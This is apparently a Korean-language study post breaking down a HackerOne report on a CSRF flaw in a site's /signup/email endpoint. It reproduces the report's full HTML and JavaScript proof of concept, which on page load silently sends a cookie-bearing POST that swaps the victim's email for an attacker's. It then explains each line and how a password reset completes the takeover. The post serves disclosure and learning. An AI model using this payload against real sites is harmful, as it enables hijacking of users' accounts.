본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
-분석 레포트-
https://hackerone.com/reports/419891
Summary
xxx.org의 /signup/email API 엔드 포인트는 CSRF 공격에 취약하여 확인되지 않은 이메일 주소와 연결된 계정의 탈취를 허용한다.
Description
취약한 엔드포인트를 사용하면 인증된 사용자가 아직 현재 주소를 확인하지 않은 경우 자신의 계정과 연결된 이메일 주소를 변경할 수 있다. 그러나 사용자가 의도적으로 요청을 수행했는지 (ex. HTTP 헤더 값 확인 및 CSRF 방지 토큰 사용)를 충분히 검증하지 못한다.
해당 보고서에 사용된 PoC는 아래와 같다.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>xxxx Academy Signup Email CSRF PoC</title>
<style type="text/css">
body {
display:flex;
flex-direction:column;
justify-content:center;
min-height:100vh;
margin:0;
}
p {
display:flex;
align-self:center;
font-size:0.8rem;
font-family:sans-serif;
font-weight:bold;
text-transform:uppercase;
letter-spacing:0.1rem;
}
</style>
</head>
<body>
<p>xxxxxx Academy Signup Email CSRF PoC</p>
<script type="text/javascript">
window.addEventListener('load', function(e) {
var attacker_addr = 'attacker@rapidlight.io';
var x = new XMLHttpRequest();
x.open('POST', 'https://www.xxxxxxx.org/signup/email', true);
x.withCredentials = true;
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send('email=' + encodeURIComponent(attacker_addr));
}, false);
</script>
</body>
</html>
해당 PoC의 주요한 부분을 간략히 해석해보도록 한다.
1. window.addEventListener('load', function(e) { ...... ,false ) : 페이지가 로드될 때 실행될 함수를 정의한다.
2. var x = new XMLHttpRequest() : 서버와 데이터를 교환하기 위해 XMLHttpRequest 객체를 생성한다.
3. x.open('POST', http........, true) : POST 메소드를 사용하여, 해당 주소로 요청을 보낸다.
4. x.withCredentials = true : 요청이 CORS를 통해 이루어지는 경우에도 쿠키를 함께 전송한다.
5. x.send('email='+encodeURIComponet(attack....)) : 요청의 body 값에 email 매개변수를 통해 악의적인 사용자의 이메일 주소를 인코딩해 전송한다.
Impact
공격자는 계정을 공격자가 제어하는 주소와 연결한 다음 비밀번호 재설정을 수행하여 계정을 탈취하기 위해 이 취약점을 악용할 수 있다. 공격이 성공하려면 대상 사용자 계정이 확인되지 않은 이메일 주소와 연결되어 있어야 하며 대상 사용자는 로그인된 상태에서 공격자가 제어하는 웹 사이트를 방문해야 한다.